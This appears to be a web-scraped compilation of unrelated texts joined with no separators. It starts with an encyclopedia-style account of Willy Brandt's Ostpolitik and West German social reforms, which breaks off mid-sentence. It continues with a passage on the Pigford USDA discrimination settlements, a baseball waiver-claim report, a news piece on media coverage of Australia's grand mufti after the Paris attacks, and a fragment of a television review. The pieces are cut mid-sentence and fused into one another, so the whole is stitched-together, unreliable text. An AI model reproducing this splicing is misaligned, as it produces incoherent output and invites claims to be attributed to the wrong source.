A different camp supported and encouraged Brandt's Neue Ostpolitik as aiming at "Wandel durch Annäherung" ("change through rapprochement"), encouraging change through a policy of engagement with the (communist) Eastern Bloc, rather than trying to isolate those countries diplomatically and commercially. Brandt's supporters claim that the policy did help to break down the Eastern Bloc's "siege mentality", and also helped to increase its awareness of the contradictions in its brand of Socialism/Communism, which – together with other events – eventually led to the downfall of Eastern European Communism.
Domestic policies Edit
Brandt's popularity Edit
Willy Brandt talking at an SPD meeting in Dortmund, 1983
Brandt's predecessor as chancellor, Kurt Georg Kiesinger, had been a member of the Nazi party, and was a more old-fashioned conservative-liberal intellectual. Brandt, having fought the Nazis and having faced down communist Eastern Germany during several crises while he was the mayor of Berlin, became a controversial, but credible, figure in several different factions. As the Minister of Foreign Affairs in Kiesinger's grand coalition cabinet, Brandt helped to gain further international approval for Western Germany, and he laid the foundation stones for his future Neue Ostpolitik. There was a wide public-opinion gap between Kiesinger and Brandt in the West German polls.
Both men had come to their own terms with the new baby boomer lifestyles. Kiesinger considered them to be "a shameful crowd of long-haired drop-outs who needed a bath and someone to discipline them". On the other hand, Brandt needed a while to get into contact with, and to earn credibility among, the "Ausserparlamentarische Opposition" (APO) ("the extra-parliamentary opposition"). The students questioned West German society in general, seeking social, legal, and political reforms. Also, the unrest led to a renaissance of right-wing parties in some of the Bundeslands' (German states under the Bundesrepublik) Parliaments.
Brandt, however, represented a figure of change, and he followed a course of social, legal, and political reforms. In 1969, Brandt gained a small majority by forming a coalition with the FDP. In his first speech before the Bundestag as the chancellor, Brandt set forth his political course of reforms ending the speech with his famous words, "Wir wollen mehr Demokratie wagen" (literally: "Let's dare more democracy", or more figuratively, "We want to take a chance on more Democracy"). This speech made Brandt, as well as the Social Democratic Party, popular among most of the students and other young West German baby-boomers who dreamed of a country that would be more open and more colorful than the frugal and still somewhat-authoritarian Bundesrepublik that had been built after World War II. However, Brandt's Neue Ostpolitik lost him a large part of the German refugee voters from East Germany, who had been significantly pro-SPD in the postwar years.
Chancellor of domestic reform Edit
Although Brandt is perhaps best known for his achievements in foreign policy, his government oversaw the implementation of a broad range of social reforms, and was known as a "Kanzler der inneren Reformen" ('Chancellor of domestic reform').[14] According to the historian David Childs, "Brandt was anxious that his government should be a reforming administration and a number of reforms were embarked upon".[15] Within a few years, the education budget rose from 16 billion to 50 billion DM, while one out of every three DM spent by the new government was devoted to welfare purposes. As noted by the journalist and historian Marion Dönhoff,
"People were seized by a completely new feeling about life. A mania for large scale reforms spread like wildfire, affecting schools, universities, the administration, family legislation. In the autumn of 1970 Jürgen Wischnewski of the SPD declared, 'Every week more than three plans for reform come up for decision in cabinet and in the Assembly.'"[16]
According to Helmut Schmidt, Willy Brandt's domestic reform programme had accomplished more than any previous programme for a comparable period.[17] Levels of social expenditure were increased,[18] with more funds allocated towards housing, transportation, schools, and communication,[19] and substantial federal benefits were provided for farmers.[20] Various measures were introduced to extend health care coverage,[21] while federal aid to sports organisations was increased.[20] A number of liberal social reforms were instituted[22] whilst the welfare state was significantly expanded[23] (with total public spending on social programs nearly doubling between 1969 and 1975),[24] with health, housing, and social welfare legislation bringing about welcome improvements,[20] and by the end of the Brandt Chancellorship West Germany had one of the most advanced systems of welfare in the world.[14]
Substantial increases were made in social security benefits such as injury and sickness benefits,[14] pensions,[25] unemployment benefits,[14][26] housing allowances,[27] basic subsistence aid allowances,[28] and family allowances and living allowances.[29] In the government's first budget, sickness benefits were increased by 9.3%, pensions for war widows by 25%, pensions for the war wounded by 16%, and retirement pensions by 5%.[19] Numerically, pensions went up by 6.4% (1970), 5.5% (1971), 9.5% (1972), 11.4% (1973), and 11.2% (1974). Adjusted for changes in the annual price index, pensions went up in real terms by 3.1% (1970), 0.3% (1971), 3.9% (1972), 4.4% (1973), and 4.2% (1974).[30] Between 1972 and 1974, the purchasing power of pensioners went up by 19%.[31] In 1970, war pensions were increased by 16%.[32] War victim's pensions went up by 5.5% in January 1971, and by 6.3% in January 1972. By 1972, war pensions for orphans and parents had gone up by around 40%, and for widows by around 50%. Between 1970 and 1972, the "Landabgaberente" (land transfer pension) went up by 55%.[33] Between 1969 and 1974, the average real standard rate of income support rose (in 1991 prices) from around 300 DM to around 400 DM.[34] Between 1970 and 1974, unemployment benefits rose from around 300 euros to around 400 euros per month, and unemployment assistance from just under 200 euros per month to just under 400 euros per month.[35] In 2001 prices, the average standard social assistance benefit level rose from around 200 euros per month in 1969 to over 250 euros per month in 1974.[36] During most of Brandt's years as chancellor, the majority of benefits increased as a percentage of average net earnings.[37]
In 1970, seagoing pilots became retrospectively insurable, and gained full social security as members of the Non-Manual Workers Insurance Institute. That same year, a special regulation came into force for District Master Chimney Sweeps, making them fully insurable under the Craftsman's Insurance Scheme.[32] An increase was made in tax-free allowances for children, which enabled 1,000,000 families to claim an allowance for the second child, compared to 300,000 families previously.[19] The Second Modification and Supplementation Law (1970) increased the allowance for the third child from DM 50 to DM 60, raised the income-limit for the second child allowance from DM 7,800 to DM 13,200; subsequently increased to DM 15,000 by the third modification law (December 1971), DM 16,800 by the fourth modification law (November 1973), and to DM 18,360 by the fifth modification law (December 1973).[27] A flexible retirement age after 62 years was introduced (1972) for invalids and handicapped persons,[38] and social assistance was extended to those who previously had to be helped by their relatives.[22] From 1971, special subventions were provided to enable young farmers to quit farming "and facilitate their entry into the non-agricultural pension system by means of back payments".[39]
The Third Modification Law (1974) extended individual entitlements to social assistance by means of higher-income limits compatible with receipt of benefits and lowered age limits for certain special benefits. Rehabilitation measures were also extended, child supplements were expressed as percentages of standard amounts and were thus indexed to their changes, and grandparents of recipients were exempted from potential liability to reimburse expenditure of social assistance carrier.[27] The Third Social Welfare Amendment Act (1974) brought considerable improvements for the handicapped, those in need of care, and older persons,[40] and a new fund of 100 million marks for disabled children was established.[19] Allowances for retraining and advanced training and for refugees from East Germany were also increased,[19] together with federal grants for sport.[19] In addition, increases were made in the pensions of 2.5 million war victims.[16] Following a sudden increase in the price of oil, a law was passed in December 1973 granting recipients of social assistance and housing allowances a single heating-oil allowance (a procedure repeated in the winter of 1979 during the Schmidt Administration).[41] Improvements and automatic adjustments of maintenance allowances for participants in vocational training measures were also carried out,[33] and increased allowances were provided for training and retraining, together with special allowances for refugees from East Germany.[42]
There was determined, by statutory regulation issued in February 1970, the category of persons most seriously disabled "to whom, with regard to maintenance aid, an increased demand (50% of the appropriate rate) is being conceded, and, within the scope of relief in special living conditions: a higher rate of nursing aid".[43] In 1971, the retirement age for miners was lowered to 50.[44] An April 1972 law providing for "promotion of social aid services" aimed to remedy, through various beneficial measures (particularly in the field of national insurance and working conditions), the staff-shortage suffered by social establishments in their medico-social, educational and other work. A bill to harmonize re-education benefit and another bill relating to severely handicapped persons became law in May and September 1972 respectively.[38] In 1972, winter payments for construction workers were introduced.[45][46][47]
To assist family planning and marriage and family guidance, the government allocated DM 2 232 000 in 1973 for the payment and for the basic and further training of staff. A special effort was also made in 1973 to organize the recreation of handicapped persons, with a holiday guide for the handicapped issued with the aid of the Federal Ministry of Family and Youth Affairs and Health in order to help them find suitable holiday accommodation for themselves and their families. From 1972 to 1973, the total amount of individual aids granted by Guarantee Fund for the integration of young immigrants increased from 17 million DM to 26 million DM.[48] Under a law passed in April 1974, the protection hitherto granted to the victims of war or industrial accidents for the purpose of their occupational and social reintegration was extended to all handicapped persons, whatever the cause of their handicap, provided that their capacity to work had been reduced by at least 50%.[49]
A law on explosives (Sprengstoffgesetz) was the subject of two application ordinances (on 17 November 1970 and 24 August 1971) and a general regulatory provision (19 May 1971), which covered respectively the application of the law to nationals of EC Member States, the duty of employers to notify in time the inspection authorities of detonation plans, the interpretation of the purpose and field of application of the law, authorizations for transport of explosives, and control and recognition of training courses on work with explosives.[50] Taking into account the enormous high peaks of air traffic noise and its concentration at a limited number of airports, the Law for Protection against Aircraft Noise of 1971 sought to balance two conflicting demands, the first being the legitimate demand by industry, business and the public for an efficient air-traffic-system, and secondly, the understandable and by no means less legitimate claims of the affected people for protection and compensation. The legislation regulated the establishment of so-called "Lärmschutzzonen" (protection areas against aircraft noise) for all 11 international airports and for those 34 military airports used for jet air craft, and the law also authorised the Federal Department of the Interior to decree protection areas for each of those mentioned airports with approval by the "Bundesrat", the representation of the German Federal States.[51]
In the field of health care, various measures were introduced to improve the quality and availability of health care provision. Free hospital care was introduced for 9 million recipients of social relief,[16] while a contributory medical service for 23 million panel patients was introduced.[16] Pensioners were exempted from paying a 2% health insurance contribution,[19] while improvements in health insurance provision were carried out,[14] as characterised by an expanded sickness insurance scheme, with the inclusion of preventative treatment.[27] The income limit for compulsory sickness insurance was indexed to changes in the wage level (1970)[27] and the right to medical cancer screening for 23.5 million people was introduced.[52] In January 1971, the reduction of sickness allowance in case of hospitalisation was discontinued.[50] That same year, compulsory health insurance was extended to the self-employed.[53] In 1970, the government included nonmedical psychotherapists and psychoanalysts in the national health insurance program.[54]
Pupils, students and children in kindergartens were incorporated into the accident insurance scheme,[27] which benefited 11 million children.[16] Free medical checkups were introduced that same year,[55] while the Farmers' Sickness Insurance Law (1972) introduced compulsory sickness insurance for independent farmers, family workers in agriculture, and pensioners under the farmers' pension scheme, medical benefits for all covered groups, and cash benefits for family workers under compulsory coverage for pension insurance.[27] Participation in employer's health insurance was extended to four million employees.[52] A Development Law of December 1970 made it possible for all employees voluntarily to become members of the statutory sickness insurance. The level of income for compulsory sickness insurance was indexed to 75% of the respective assessment level for pension insurance, while voluntarily insured employees were granted a claim to an allowance towards their sickness insurance from their employer. This law also introduced a new type of sickness insurance benefit, namely facilities for the early diagnosis of disease. Apart from the discretionary service of disease prevention which had existed since 1923, insured persons now had a right in certain circumstances to medical examinations aimed at the early diagnosis of disease. According to one study, this marked a change in the concept of sickness insurance: it now aimed at securing good health.[41]
The Hospital Financing Law (1972) secured the supply of hospitals and reduced the cost of hospital care, "defined the financing of hospital investment as a public responsibility, single states to issue plans for hospital development, and the federal government to bear the cost of hospital investment covered in the plans, rates for hospital care thus based on running costs alone, hospitals to ensure that public subsidies together with insurance fund payments for patients cover total costs".[27] The Benefit Improvement Law (1973) made entitlement to hospital care legally binding (entitlements already enjoyed in practice), abolished time limits for hospital care, introduced entitlement to household assistance under specific conditions, and also introduced entitlement to leave of absence from work and cash benefits in the event of a child's illness.[27] In 1971, to encourage the growth of registered family holiday centres, the Federal Government granted subsidies for the building and appointing of 28 of these centres at a total cost of 8 million DM.[50] Free preliminary investigations were introduced for 2.5 million children up until the age of 4 for the early detection and correction of developmental disorders, and health research was expanded. Federal grants were increased, especially for the Cancer Research Centre in Heidelberg, while a Federal Institute for Sport Science was set up, together with the Institute for Social Medicine and Epidemiology in Berlin. In addition, funding for new rehabilitation facilities was increased.[33]
The Pension Reform Law (1972) guaranteed all retirees a minimum pension regardless of their contributions[56] and institutionalized the norm that the standard pension (of average earners with forty years of contributions) should not fall below 50% of current gross earnings.[27] The 1972 pension reforms improved eligibility conditions and benefits for nearly every subgroup of the West German population.[57] The income replacement rate for employees who made full contributions was raised to 70% of average earnings. The reform also replaced 65 as the mandatory retirement age with a "retirement window" ranging between 63 and 65 for employees who had worked for at least thirty-five years. Employees who qualified as disabled and had worked for at least thirty-five years were extended a more generous retirement window, which ranged between the ages of 60 and 62. Women who had worked for at least fifteen years (ten of which had to be after the age of age 40) and the long-term unemployed were also granted the same retirement window as the disabled. In addition, there were no benefit reductions for employees who had decided to retire earlier than the age of 65.[58] The legislation also changed the way in which pensions were calculated for low-income earners who had been covered for twenty-five or more years. If the pension benefit fell below a specified level, then such workers were allowed to substitute a wage figure of 75% of the average wage during this period, thus creating something like a minimum wage benefit.[59] According to one study, the 1972 pension reform "enhanced" the reduction of poverty in old age.[60]
Voluntary retirement at 63 with no deductions in the level of benefits was introduced,[57] together with the index-linking of war victim's pensions to wage increases.[14] Guaranteed minimum pension benefits for all West Germans were introduced,[24] along with automatic pension increases for war widows (1970).[55] Fixed minimum rates for women in receipt of very low pensions were also introduced, together with equal treatment for war widows.[61] Improvements in pension provision were made for women and the self-employed,[62] a new minimum pension for workers with at least twenty-five years' insurance was introduced,[28] faster pension indexation was implemented, with the annual adjustment of pensions brought forward by six months,[63] and the Seventh Modification Law (1973) linked the indexation of farmers' pensions to the indexation of the general pension insurance scheme.[27]
A new pension for "severely handicapped" persons was introduced in 1972,[64] along with occupational injury annuities[65] and a special pension for long-standing insurant from the age of 63 and a pension due to "limited earning capacity" from the age of 62.[66] In addition, a special pension benefit was introduced for workers aged 60 and above after unemployment.[67] Under the Severely Handicapped Persons Act of April 1974, a seriously disabled person could retire early on an old age pension at the age of 62 years, provided that he "complied with the other provisions of the legislation on pension insurance".[49]
In education, the Brandt Administration sought to widen educational opportunities for all West Germans. The government presided over an increase in the number of teachers,[16] generous public stipends were introduced for students to cover their living costs,[22] and West German universities were converted from elite schools into mass institutions.[22] The school leaving age was raised to 16,[68] and spending on research and education was increased by nearly 300% between 1970 and 1974.[68] Working through a planning committee set up for the "joint task" of university development, the Federal Government started to make investment costs in 1971.[69] Fees for higher or further education were abolished,[14] while a considerable increase in the number of higher education institutions took place.[14] A much needed school and college construction program was carried out,[14] together with the introduction of postgraduate support for highly qualified graduates, providing them with the opportunity to earn their doctorates or undertake research studies.[70] A law on individual promotion of vocational training came into force in October 1971, which provided for financial grants for attendance at further general or technical teaching establishments from the second year of studies at higher technical schools, academies and higher education establishments, training centres of second degree, or certain courses of television teaching. Grants were also made in certain cases for attendance at training centres located outside the Federal Republic.[50]
The education budget was doubled from 3% to 6%, while an expansion of secondary education took place. The number of university students went up from 100,000 to 650,000, 30,000 more places were created in the schools, and an additional 1,000 million marks was allocated for new school buildings. In addition, the provision of scholarships was expanded, with the 1970 programme providing for, in the words of one observer, "5,000 new scholarships for graduates, and double that number were being awarded three years later".[42] Grants were introduced for pupils from lower income groups to stay on at school, together with grants for those going into any kind of higher or further education.[70][71] Increases were also made in educational allowances,[27] as well as spending on science.[29] In 1972, the government allocated 2.1 million DM in grants to promote marriage and family education.[38] Under the Approbationsordnung (medical education profession act) of 1970, the subject of psychosomatic medicine and psychotherapy at German universities became a compulsory subject for medical students,[72] and that same year education of clinical and biomedical engineers was introduced.[73] The Brandt Administration also introduced enabling legislation for the introduction of comprehensives, but left it to the Lander "to introduce them at their discretion". While the more left-wing Lander "rapidly began to do so", other Lander found "all sorts of pretexts for delaying the scheme". By the mid-1980s, Berlin had 25 comprehensives while Bavaria only had 1, and in most Lander comprehensives were still viewed as "merely experimental".[74]
In the field of housing, various measures were carried out to benefit householders, such as in improving the rights of tenants and increasing rental assistance. According to the Rent Subsidies Act (Wohngeldgesetz) of 1970, "low-income tenants and owners of accommodations are supported with rents and burdens subsidies".[75] The determination of the income of families taken into consideration for housing allowances was simplified,[76] and increased levels of protection and support for low-income tenants and householders were introduced[14] which led to a drop in the number of eviction notices. By 1974, three times as much was paid out in rent subsidies as in 1969, and nearly one and a half million households received rental assistance.[40] Increases were made in public housing subsidies,[77] as characterised by a 36% increase in the social housing budget in 1970[19] and by the introduction of a programme for the construction of 200,000 public housing units (1971).[78] From 1970 to 1971, an 18.1% increase in building permits for social housing units was made.[79] Other reforms aimed at improving tenants' rights included protection against conversion of rental housing into condominiums, the prohibition of the misappropriation of living space, new regulation of the apartment broker system, and a fee scale for engineers and architects. In addition, the income limits for eligibility for social housing were raised and adapted in order of general income trends.[33]
A loose form of rent regulation was introduced under the name of "Vergleichmieten" ('comparable rents'),[80] together with the provision of "for family-friendly housing" freight or rent subsidies to owners of apartments or houses whose ceiling had been adapted to increased expenses or incomes (1970).[81] In addition, a law for the creation of property for workers was passed, under which a married worker would normally keep up to 95% of his pay, and graded tax remission for married wage-earners applied up to a wage of 48,000 marks, which indicated the economic prosperity of West Germany at that time.[19] The Town Planning Act (1971) encouraged the preservation of historical heritage and helped open up the way to the future of many German cities,[61] while the Urban Renewal Act (1971) helped the states to restore their inner cities and to develop new neighbourhoods.[82] In addition, gGuidelines of December 1972 on the usage of federal funds in assisting social housing construction laid down that a certain standard needed to be observed when building homes for severely handicapped persons.[83]
The Second Housing Allowance Law of December 1970 simplified the administration of housing allowances and extended entitlements, increased the income limit to 9,600 DM per year plus 2,400 DM for each family member, raised the general deduction on income to determine reckonable income from 15% to 20%, allowance rates listed in tables replacing complicated calculation procedure based on "bearable rent burdens".[27] The Housing Construction Modification Law (1971) increased the income-limit for access to low rent apartments under the social housing programme from 9,000 DM to 12,000 DM per annum plus 3,000 DM (instead of 2,400) for each family member. The law also introduced special subsidies to reduce the debt burden for builders not surpassing the regular income-limit by more than 40%. Under a 1973 law, the limits were increased to 1,000 DM plus 9,000 DM and 4,200 DM for additional family members.[27] The Rent Improvement Law (1971) strengthened the position of tenants. Under this legislation, notice was to be ruled illegal "where appropriate substitute accommodation not available; landlords obliged to specify reasons for notice",[27] whilst the Eviction Protection Law (1971) established tenant protection against rent rises and notice. The notice was only lawful if in the "justified interest of the landlord". Under this law, higher rents were not recognised as "justified interest".[27] The Second Eviction Protection Law (1972) made the tenant protection introduced under the Eviction Protection Law of 1971 permanent. Under this new law, the notice was only lawful where the landlord proved justified personal interest in the apartment. In addition, rent increases were only lawful if not above normal comparable rents in the same area.[27]
Directives on the housing of foreign workers came into force in April 1971. These directives imposed certain requirements for space, hygiene, safety, and amenities in the accommodation offered by employers. That same year, the Federal Government granted a sum of 17 million DM to the Länder for the improvement and modernization of housing built before 21 June 1948.[50] In addition, according to a 1971 regulation of the Board of the Federal Labour Office, "construction of workers' hostels qualified for government financial support under certain conditions".[84] The "German Council for town development", which was set up by virtue of Article 89 of a law to foster urban building, was partly aimed at planning a favourable environment for families (such as the provision of playgrounds). In 1971, the Federal Labour Office made available DM 425 million in the form of loans to provide 157 293 beds in 2 494 hostels. A year later, the Federal Government (Bund), the Lander and the Federal Labour Office promoted the construction of dwellings for migrant workers. They set aside 10 million DM for this purpose, which allowed the financing of 1650 family dwellings that year.[38]
Development measures were begun in 1972 with federal financial aid granted to the Lander for improvement measures relating to towns and villages, and in the 1972 budget, DM 50 million was earmarked, i.e. a third of the total cost of some 300 schemes. A council for urban development was formed in May 1972 with the purpose of promoting future work and measures in the field of urban renovation.[38] In 1973, the government provided assistance of DM 28 million for the modernisation of old dwellings.[48] New rules were introduced regarding improvements in the law relating to rented property, and control of the rise in rents and protection against cancellation of leases also safeguarded the rights of migrant workers in the sphere of housing.[38] A law of July 1973 fixed the fundamental and minimum requirements regarding workers' dwellings, mainly concerning space, ventilation and lighting, protection against damp, heat and noise, power and heating facilities and sanitary installations.[48]
In regards to civil rights, the Brandt Administration introduced a broad range of socially liberal reforms aimed at making West Germany a more open society. Greater legal rights for women were introduced, as exemplified by the standardisation of pensions, divorce laws, regulations governing use of surnames, and the introduction of measures to bring more women into politics.[61] The voting age was lowered from 21 to 18,[85] the age of eligibility for political office was lowered to 21,[70] and the age of majority was lowered to 18 in March 1974.[70] The Third Law for the Liberalization of the Penal Code (1970) liberalised "the right to political demonstration",[17][70] while equal rights were granted to illegitimate children that same year.[28] A 1971 amendment to a federal civil service reform bill enabled fathers to apply for part-time civil service work.[86] In 1971, corporal punishment was banned in schools,[87] and that same year a new Highway Code was introduced.[88] In 1973, a measure was introduced that facilitated the adoption of young children by reducing the minimum age for adoptive parents from 35 to 25.[48]
A number of reforms were also carried out to the armed forces,[20] as characterised by a reduction in basic military training from 18 to 15 months, a reorganisation of education and training, and personnel and procurement procedures.[40] Education for the troops was improved,[89] a personnel reshuffle of top management in the Bundeswehr was carried out,[90] academic education was mandated for officers beyond their basic military training, and a new recruiting policy for Bundeswehr personnel was introduced with the intention of building an army that reflected West Germany's pluralistic society. Defense Minister Helmut Schmidt led the development of the first Joint Service Regulation ZDv 10/1 (Assistance for Innere Fuehrung, classified: restricted), which revitalized the concept of Innere Fuehrung while also affirming the value of the "citizen in uniform". According to one study, as a result of this reform, "a strong civil mindset displaced the formerly dominant military mindset", and forced the Bundeswehr's elder generation to accept a new type of soldier envisioned by Schmidt.[91] In addition, the Federal Cost of Moving Act increased the relocation allowance (with effect from 1 November 1973), with the basic allowances raised by DM 50 and DM 100 respectively, while extra allowances for families were raised to a uniform amount of 125 DM.[92]
In 1970, the Armed Forces Vocational Schools and the Vocational Advancement Organization extended their services for the first time to conscripts, "so far as military duty permitted".[93] New enlistment bonuses were authorized and previous bonus schemes were improved,[94] and new pay regulations were introduced that improved the financial situation of military personnel and civil servants.[95] In July 1973, the 3rd Amendment to the Civilian Service Act came into force; "a prerequisite for the creation of additional civilian service places for recognized conscientious objectors". The amendment provided that men recognized as conscientious objectors while performing military service should immediately be transferred to a civilian service assignment.[96] The maximum amount for servicemen enlisting for at least 12 years was increased from DM 6,000 to DM 9,000,[97] and from October 1971 onwards, long-term personnel were paid grants towards the cost 'of attending educational institutes of the "second educational route" or participating in state-recognized general education courses provided by private correspondence schools and the "television college"'.[98] In 1972, two Bundeswehr universities were established;[99][100] a reform which, according to one historian, "fought against the closed nature of the military and guaranteed that officers would be better able to successfully interact with the civilian world".[101] From April 1973, the general maintenance payments under the Law amending the Maintenance Security Act and the Workplace Protection Act were increased, while increases were also made in the special allowance (Christmas bonus) for conscripts, together with the dismissal allowance. The expense allowance for troops on duty-related absence from place of employment was improved, together with travel subsidies and provisions for military service damaged soldiers and their families.[102] In addition, the position of non-commissioned officers was improved.[103]
A women's policy machinery at the national level was established in 1972[104] while amnesty was guaranteed in minor offences connected with demonstrations.[70] From 1970 onwards, parents as well as landlords were no longer legally prohibited "to give or rent rooms or flats to unmarried couples |
filed a US$20.5 billion class action lawsuit against the USDA for the same practices, alleging racially discriminatory practices between 1997 and 2004. The lawsuit was dismissed when the BFAA failed to show it had standing to bring the suit.
Legislative language was added to the 2008 Farm Bill to enable more farmers to bring suit and to authorize the government to negotiate additional monies for settlement. In 2010, the Administration negotiated settlement for an additional $1.2 billion for such claims, in what is known as Pigford II.[10] Congress appropriated the money for the settlement later that year.[11] Successful claimants in Pigford II had to wait until 2013 to receive their settlement awards.[12]
Following the Pigford case, Native American farmers settled their own USDA discrimination case, the Keepseagle case. It was resolved with two tracks for claims, as in Pigford. Hispanic farmers, known as the Garcia class, and women farmers, the Love class, had also suffered discrimination by the USDA but could not get their class actions certified; both were denied review.[4] However, the USDA employed its own administrative claims process to help provide relief to women and Hispanic farmers.[13]
According to the Government Accountability Office (GAO), as of 2009 problems resolving discrimination complaints at the USDA persisted. USDA employees undermined civil rights claims with faulty data. Complaints were not properly investigated, and decisions were mismanaged and lacked integrity, giving rise to more discrimination complaints and a surge in the number of backlogged complaints. The USDA's reports on minority participation were determined to be unreliable and of limited usefulness; strategic planning is limited and lacks needed components. Lessons learned could benefit USDA’s civil rights performance: an oversight board could improve management, and an ombudsman could address concerns of USDA customers and employees.[14]
Since the USDA’s civil rights program expanded, the face of agriculture has changed:
The number of African-American farms increased 9%; African-American farm operators increased 7%; African-American women farmers increased 53%
The number of Native American farm operators grew 88%; Native American women farmers grew 318%
Hispanic farm operators grew 14%; Hispanic women farmers grew 20%[6][ page needed ]
Overall, the number of women farm operators increased 19%. Women farm operators were the most likely to own the land they farmed and were the most racially diverse.[6][page needed]
Allegations of fraud [ edit ]
On April 25, 2013, the New York Times reported that "the $50,000 payouts to black farmers had proved a magnet for fraud" and that "its very design encouraged people to lie".[15] The Federation of Southern Cooperatives/Land Assistance Fund responded with a press release entitled, "‘Sharon LaFraniere got it Wrong!’ Response to the coverage of the Pigford Settlement in the April 26, New York Times."[16]
Susan A. Schneider, a professor of agricultural law, also strongly criticized the New York Times and detailed errors in the faulty reporting in this article. She noted major points: the article "mischaracterized the 'Pigford' settlement, implying falsely that all claimants received payment" (nearly one-third were denied relief);[17] it "fails to explain that in each of the discrimination cases referenced, claimants were required to submit evidence that shows that they experienced discrimination and that they complained about the discrimination."[17] In some cases such evidence was not available, given the long timeframe of events. Third, the article "implies that discrimination is a pre-1997 problem," but numerous studies through 2008 have documented the persistence of discrimination at USDA.[17]
See also [ edit ]
References [ edit ]
Further reading [ edit ]The Nationals announced that they’ve claimed 26-year-old right-handed reliever Eric Fornataro off waivers from the Cardinals.
Fornataro, a sixth-round draft pick by the Redbirds in 2008, made his Major League debut this season, allowing five earned runs on 11 hits and a walk with three strikeouts in 9 2/3 innings. His average fastball checked in at a solid 92.8 mph in that time, and he registered a 51.4 percent ground-ball rate in that small sample as well.
The rest of Fornataro’s season was spent at Triple-A Memphis, where in 56 innings he posted a 2.57 ERA with 5.6 K/9 and 3.2 BB/9, though it’s worth noting that at least part of his success was due to a likely unsustainable.254 BABIP.
Baseball America once ranked Fornataro 21st among Cardinals farmhands, writing prior to the 2013 season that his velocity jumped up into the 96-98 mph range and touched 99 on occasion following a move to the bullpen. BA praised his curve more than his splitter, adding that he tends to get grounders in bulk when he’s throwing well.Some in the media have decried the response of Ibrahim Abu Mohamed to the Paris terrorist attacks. Here is what he said, what he didn’t say and what they said that meant
Five things Australia's grand mufti may or may not have said about the Paris attacks
They say 93% of communication is non-verbal. No one understands this better than Australia’s grand mufti, Dr Ibrahim Abu Mohamed.
Jacqui Lambie says grand mufti should be forced to wear ankle monitor Read more
On Sunday he released a statement and a Facebook post expressing sorrow for the deaths of 129 people in the Paris terrorist attacks.
Unsaid, but apparently embedded in his statements, were a range of outrageous ideas.
Here, according to this week’s media reports, are some of the enraging things Mohamed had to communicate (and some clarifications).
1. Nothing about Paris
Seven News reporter Bryan Seymour traipsed to the far western Sydney suburb of Fairfield on Tuesday to visit the radio station where the grand mufti ordinarily works.
But Mohamed, reportedly suffering health problems, was not there. At the door instead was one of his staff, Habib Masri.
Just to be sure, Seymour asked him what he thought of the Paris attacks: “I am against what happened, these are innocent people. It’s terrible,” Masri said.
Outside, Seymour solemnly turned to the camera. “And there we have Habib Masri, who works for the grand mufti, and broadcasts a radio station in his name,” he said.
“He’s just told us he thinks the attacks in Paris were terrible. The question everyone wants answered is: what does the grand mufti think?”
(From Monday’s statement: “The grand mufti of Australia … mourn[s] the loss of innocent lives due to the recent terrorist attacks in France. We would like to convey our deepest condolences to the families and friends of the deceased. We reiterate that the sanctity of human life is guaranteed in Islam.”)
2. Stubbornly refused to condemn the Paris attacks
Ever since political correctness went mad, it’s been rare to see African or Middle Eastern men portrayed in poses usually reserved for monkeys.
But that’s how Sydney’s Daily Telegraph illustrated its “see no evil” front page on Wednesday, featuring this breathless take on Mohamed’s statement.
It opened: “Australia’s grand mufti faced widespread criticism yesterday for his stubborn refusal to condemn the Paris terror attacks.”
Erin Bouda (@ErinBouda) Front page of the @dailytelegraph today: #Grandmufti "sees no problems, hears no concerns, speaks no English" 🙈🙉🙊 pic.twitter.com/N5H1vCS5Y7
(From the mufti’s Facebook page on Sunday: “Our thoughts and prayers are with the victims, families and people of Paris and Beirut at this time of unspeakable horror. We will continually stand united in peace with them against such heinous attacks of cowardice. There are no words to truly describe the devastation of these acts but we will continue in solidarity and pray for peace.”)
3. Condemned the attacks, but not without reservation
A variation on the theme above was delivered by the immigration minister, Peter Dutton, who told Sydney’s 2GB: “There is no excuse and there is no qualification and the opportunity is there for the grand mufti to … make it very clear that he condemns these acts of terrorism, these murderous acts, without reservation.”
Australia's imams council denies grand mufti justified Paris attacks Read more
The problem was Mohamed had referred to “causative factors”, including racism, foreign policy, military intervention and increased powers for police and intelligence services.
It’s one thing to question whether it was appropriate to include this discussion in a statement expressing condolences for France’s dead. But Mohamed would not be the first to say these factors have helped spark the latest spate of Islam-inspired terrorism.
The former head of Britain’s security agency, MI5, said as much in 2010, telling the Chilcot inquiry into the UK’s role in Iraq: “Our involvement in Iraq radicalised, for want of a better word, a whole generation of young people – not a whole generation, a few among a generation – who saw our involvement in Iraq and Afghanistan as being an attack upon Islam.”
4. Used the word “condemn”, but not in the present tense, and not directly in connection with the Paris attacks
Yet another variation on the theme of condemnation was delivered, then deleted, by an AAP reporter in Canberra, who tweeted a second statement by the mufti on Wednesday, intended to address his critics.
“Grand Mufti and Imams Council clarify Sunday’s statement on Paris attacks. Still don’t condemn attacks,” the reporter tweeted.
(From the new statement: “Dr Ibrahim Abu Mohamed and ANIC have consistently and unequivocally condemned all forms of terrorist violence.”)
Mariam Veiszadeh (@MariamVeiszadeh) Breaking: Press Release from the Grand #Mufti clarifying his statement re #ParisAttacks pic.twitter.com/uA7ZmNqAo5
5. Left dangling whose side he was on
According to the Australian’s Janet Albrechtsen, “it’s not good enough that the grand mufti … said racism and Islamophobia must be addressed”.
Nor should he have said the world’s anti-terrorism strategies were failing, or called for “people of goodwill to stand against fear mongering and injustice”.
You might disagree, but so far, fair criticism. Then things escalated: “This is not just ineffective leadership, it’s counter-productive. And it’s dangerous. We are in a battle against Islamist terrorists. Whose side is the grand mufti on?”
(From the mufti’s September 2014 statement about regarding Isis: “As we have repeatedly preached in private and in public in Arabic and in English, the horrors conducted overseas in the name of religion are crimes against humanity and sins against God.”)“These are complicated ladies in a complicated place.”
Perhaps no other line sums up the Litchfield inmates’ situation better than this one. The thing about jail is that it’s viewed as a monotonous cycle, as day in and day out of orange jumpsuits and sullen faces, as a homogeneous blob of people who are isolated from society. And to be honest, that’s true. However, what this show is conveying is the underlying humanity oftentimes overlooked when we talk about jail, the fact that these inmates are complicated individuals who feel the same emotions we do, who have pasts and lives and futures cut short by the walls of Litchfield. Yes, they committed crimes, but that doesn’t rob them of their stories.
